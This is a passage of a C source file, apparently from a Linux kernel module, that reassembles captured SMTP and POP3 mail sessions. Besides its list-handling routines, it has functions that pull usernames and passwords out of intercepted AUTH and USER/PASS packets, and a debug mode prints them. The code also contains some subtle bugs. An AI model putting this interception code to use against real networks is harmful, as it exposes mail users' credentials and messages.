📄 list.c
字号:
if( pListHead->pSeq )
pListHead->pHead = pListHead->pSeq->pNext;
else
pListHead->pHead = NULL;
if( pListHead->pHead != NULL )
pListHead->pHead->pPre = NULL;
else
pListHead->pTail = NULL;
pListHead->pSeq = NULL;
pListHead->bFileHeader = 0;
pListHead->iNumber -= pListHead->iSeqCount;
pListHead->iPart = 0;
if(pListHead->type == NON_REMOVE_HASHHEAD_WRITE )
{
//one full mail output, so if set sign
//clear NON_REMOVE_HASHHEAD_WRITE sign
pListHead->type &= ~(NON_REMOVE_HASHHEAD_WRITE);
pListHead->bPrew = 0;
//ONE SESSION HAVE MULT EML
pListHead->bFileHeader = 1;
pListHead->iEml++;
}
else if( pListHead->type == NON_REMOVE_HASHHEAD_WRITE_PREW)
{
//clear NON_REMOVE_HASHHEAD_WRITE_PREW sign
pListHead->type &= ~(NON_REMOVE_HASHHEAD_WRITE_PREW);
pListHead->bPrew = 0;
//ONE SESSION HAVE MULT EML
pListHead->bFileHeader = 1;
pListHead->iEml++;
}
else
{
pListHead->type &= ~(SMTP_HASH_TYPE_PREW); //clear the prew sign
}
pListHead->iSeqCount = pListHead->iSeqLen = 0;
if( pTemp->pTail )
pTemp->pTail->pNext = NULL;
return pTemp;
}
inline PSMTP_HASH_HEAD CopyHashHead( PSMTP_HASH_HEAD pListHead, PDOUBLE_LIST_HEAD pOutput )
{
UINT MmLen;
PSMTP_HASH_HEAD pTemp = NULL;
MmLen = sizeof(SMTP_HASH_HEAD);
if( pListHead == NULL)
return NULL;
pTemp = (PSMTP_HASH_HEAD)ALLOCATE_HASHHEAD( GFP_ATOMIC, MmLen);
if( pTemp == NULL )
{
printk( "Allocate Pool PDOUBLE_LIST_HEAD fail in _RemoveItemNonHashHead()\r\n" );
return NULL;
}
InitializeSmtpHashHead( pTemp );
memset( pTemp, 0, MmLen );
memcpy( pTemp, pListHead, MmLen );
pTemp->pSHead = pTemp->pSTail = pTemp->pSSeq = NULL;
pTemp->pHead = pOutput->pHead;
pTemp->pTail = pOutput->pTail;
pTemp->iNumber = pOutput->iNumber;
return pTemp;
}
inline void SetUserAndPass( PSMTP_HASH_HEAD pListHead )
{
PDOUBLE_LIST_PACKET pListPacket;
char bAuth = 0;
USHORT iUserPass = 0;
if( pListHead == NULL)
return;
if( !pListHead->bFileHeader || pListHead->iUserLen != 0 || pListHead->iUserLen != 0)
return;
pListPacket = (PDOUBLE_LIST_PACKET)pListHead->pHead;
while( pListPacket )
{
//write USER and PASS, sure the DATA begin
if( !bAuth && pListPacket->packet.dataLen >= 4 )
{
// printk("the char:%u, smtp_data:%u\r\n", *((UINT *)(pListPacket->packet.buf+pListPacket->packet.dataOffset)),*((UINT *)SMTP_AUTH));
if( *( (UINT *)( pListPacket->packet.buf + pListPacket->packet.dataOffset ) )
== *( (UINT *)(SMTP_AUTH) ) )
{
// printk("AUTH find\r\n");
bAuth = 1;
}
}
else if( bAuth )
{
iUserPass++;
switch( iUserPass )
{
case 1: //USER
pListHead->iUserLen = pListPacket->packet.dataLen < (_MAX_USER_LEN-1)
? pListPacket->packet.dataLen:(_MAX_USER_LEN-1);
memcpy( pListHead->user,
pListPacket->packet.buf + pListPacket->packet.dataOffset,
(ULONG)pListHead->iUserLen);
pListHead->user[ pListHead->iUserLen ] = '\0';
break;
case 2: //PASS
pListHead->iPassLen = pListPacket->packet.dataLen < (_MAX_PASS_LEN-1)
? pListPacket->packet.dataLen : ( _MAX_PASS_LEN - 1 );
memcpy( pListHead->pass,
pListPacket->packet.buf + pListPacket->packet.dataOffset,
(ULONG)pListHead->iPassLen);
pListHead->pass[ pListHead->iPassLen ] = '\0';
return;
default:
return;
}
}
pListPacket = (PDOUBLE_LIST_PACKET)pListPacket->doubleListItem.pNext;
}
}
inline void SetPop3UserAndPass( PSMTP_HASH_HEAD pListHead, PDOUBLE_LIST_PACKET pItem )
{
struct iphdr *pIPHeader; // See ip.h
struct tcphdr *pTCPHeader; // See tcp.h
if( pListHead == NULL && pItem == NULL )
return;
//write USER and PASS, sure the DATA begin
if( pItem->packet.dataLen > 5 )
{
switch( *((UINT *)( pItem->packet.buf + pItem->packet.dataOffset ) ) )
{
case POP3_USER_UINT:
case POP3_USER_UINT1:
//printk("POP3 USER find\r\n");
pListHead->iUserLen = pItem->packet.dataLen < _MAX_USER_LEN ? pItem->packet.dataLen - 5 : 0;
memcpy( pListHead->user, pItem->packet.buf + pItem->packet.dataOffset + 5,
(ULONG)pListHead->iUserLen );
pListHead->user[ pListHead->iUserLen ] = '\0';
#ifdef _LIST_DEBUG
printk( "user : %s ", pListHead->user );
#endif
break;
case POP3_PASS_UINT:
case POP3_PASS_UINT1:
//printk("POP3 PASS find\r\n");
pListHead->iPassLen = pItem->packet.dataLen < _MAX_PASS_LEN ? pItem->packet.dataLen - 5 : 0;
memcpy( pListHead->pass, pItem->packet.buf + pItem->packet.dataOffset + 5,
(ULONG)pListHead->iPassLen );
pListHead->pass[ pListHead->iPassLen ] = '\0';
#ifdef _LIST_DEBUG
printk( "pass : %s ", pListHead->pass );
#endif
break;
case POP3_RETR_UINT:
case POP3_RETR_UINT1:
pIPHeader = (struct iphdr *)pItem->packet.buf;
pTCPHeader = (struct tcphdr *)( (UCHAR *)pIPHeader + pIPHeader->ihl * 4 );
pListHead->iPop3BeginSeq = pTCPHeader->ack_seq;
#ifdef _LIST_DEBUG
printk("POP3 RETR find\r\n");
#endif
break;
default:
break;
}
}
}
inline PDOUBLE_LIST_ITEM _RemoveTailList( PDOUBLE_LIST_HEAD pListHead )
{
PDOUBLE_LIST_ITEM pTemp = NULL;
if( pListHead == NULL )
return NULL;
if( pListHead->pTail == NULL )
return NULL;
down_interruptible( &pListHead->fastMutex );
pTemp = pListHead->pTail;
if( pListHead->pHead == pListHead->pTail )
{
pListHead->pHead = pListHead->pTail = NULL;
}
else
{
pListHead->pTail = pTemp->pPre;
pListHead->pTail->pNext = NULL;
}
pListHead->iNumber--;
up( &pListHead->fastMutex );
return pTemp;
}
inline PDOUBLE_LIST_ITEM _RemoveTailListNonLock( PDOUBLE_LIST_HEAD pListHead )
{
PDOUBLE_LIST_ITEM pTemp = NULL;
if( pListHead == NULL )
return NULL;
if( pListHead->pTail == NULL )
return NULL;
pTemp = pListHead->pTail;
if( pListHead->pHead == pListHead->pTail )
{
pListHead->pHead = pListHead->pTail = NULL;
}
else
{
pListHead->pTail = pTemp->pPre;
pListHead->pTail->pNext = NULL;
}
pListHead->iNumber--;
return pTemp;
}
//
//Remove Multi Items from List head,the count is iNumber
//the PItem return the head and tail
//
inline char _RemoveHeadListMulti( PDOUBLE_LIST_HEAD pListHead, int iNumber,
PDOUBLE_LIST_HEAD pOutList)
{
char bReturn;
UINT i = iNumber;
PDOUBLE_LIST_ITEM pEnd = NULL;
if( pListHead == NULL || iNumber<=0 || pOutList == NULL )
return 0;
down_interruptible( &pListHead->fastMutex );
pEnd = pListHead->pHead;
while( iNumber && pEnd )
{
pEnd = pEnd->pNext;
iNumber--;
}
if( iNumber == 0 )
{
pOutList->pHead = pListHead->pHead;
if( pEnd )
{
pOutList->pTail = pEnd->pPre;
pOutList->pTail->pNext = NULL;
pListHead->pHead = pEnd;
pEnd->pPre = NULL;
}
else
{
//remove all the List
pOutList->pTail = pListHead->pTail;
pListHead->pHead = pListHead->pTail = NULL;
}
pListHead->iNumber -= i;
pOutList->iNumber = i;
bReturn = 1;
}
else
bReturn = 0;
up( &pListHead->fastMutex );
return bReturn;
}
//
//Remove Multi Items from List head,the count is iNumber
//the PItem return the head and tail
//
inline char _RemoveTailListMulti( PDOUBLE_LIST_HEAD pListHead, UINT iNumber,
PDOUBLE_LIST_HEAD pOutList)
{
char bReturn;
UINT i = iNumber;
PDOUBLE_LIST_ITEM pFront = NULL;
if( pListHead == NULL || iNumber<=0 || pOutList == NULL )
return 0;
down_interruptible( &pListHead->fastMutex );
pFront = pListHead->pTail;
while( iNumber && pFront )
{
pFront = pFront->pPre;
iNumber--;
}
if( iNumber == 0 )
{
pOutList->pTail = pListHead->pTail;
if( pFront )
{
pOutList->pHead = pFront->pNext;
pOutList->pHead->pPre = NULL;
pListHead->pTail = pFront;
pFront->pNext = NULL;
}
else
{
//remove all the List
pOutList->pHead = pListHead->pHead;
pListHead->pHead = pListHead->pTail = NULL;
}
pListHead->iNumber -= i;
pOutList->iNumber = i;
bReturn = 1;
}
else
bReturn = 0;
up( &pListHead->fastMutex );
return bReturn;
}
inline char _RemoveTotalList( PDOUBLE_LIST_HEAD pListHead,
PDOUBLE_LIST_HEAD pOutList )
{
if( pListHead == NULL || pOutList == NULL )
return 0;
down_interruptible( &pListHead->fastMutex );
pOutList->iNumber = pListHead->iNumber;
pOutList->pHead = pListHead->pHead;
pOutList->pTail = pListHead->pTail;
pListHead->iNumber = 0;
pListHead->pHead = pListHead->pTail = NULL;
up( &pListHead->fastMutex );
return 1;
}
inline void InitializeDoubleListItem( PDOUBLE_LIST_ITEM pItem )
{
pItem->pPre = pItem->pNext = NULL;
}
inline void InitializeSmtpHashHead( PSMTP_HASH_HEAD pHashHead )
{
memset( pHashHead, 0, sizeof( SMTP_HASH_HEAD ) );
InitializeDoubleListItem( &pHashHead->item );
pHashHead->pHead = pHashHead->pTail = pHashHead->pSeq = NULL;
pHashHead->pSHead = pHashHead->pSTail = pHashHead->pSSeq = NULL;
pHashHead->pConfig = NULL;
pHashHead->sIP = 0;
pHashHead->sPort = 0;
pHashHead->type = SMTP_HASH_TYPE_INIT;
pHashHead->iNumber = 0;
pHashHead->iEml = 0;
pHashHead->iPart = 0;
pHashHead->bPrew = 0;
pHashHead->bCrypt = 1;
pHashHead->nextSeqNumber = 0;
pHashHead->bDelete = 0;
pHashHead->bFileHeader = 0;
pHashHead->iUserLen = 0;
pHashHead->iPassLen = 0;
pHashHead->iPop3BeginSeq = 0;
pHashHead->iSeqCount = 0;
pHashHead->iSeqLen = 0;
pHashHead->iFilePath = 0;
pHashHead->susTotalBytes = 0;
memset( pHashHead->user, 0, _MAX_USER_LEN );
memset( pHashHead->pass, 0, _MAX_PASS_LEN );
memset( &pHashHead->timeStamp, 0, sizeof(struct timeval) );
memset( &pHashHead->timelast, 0, sizeof(struct timeval) );
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -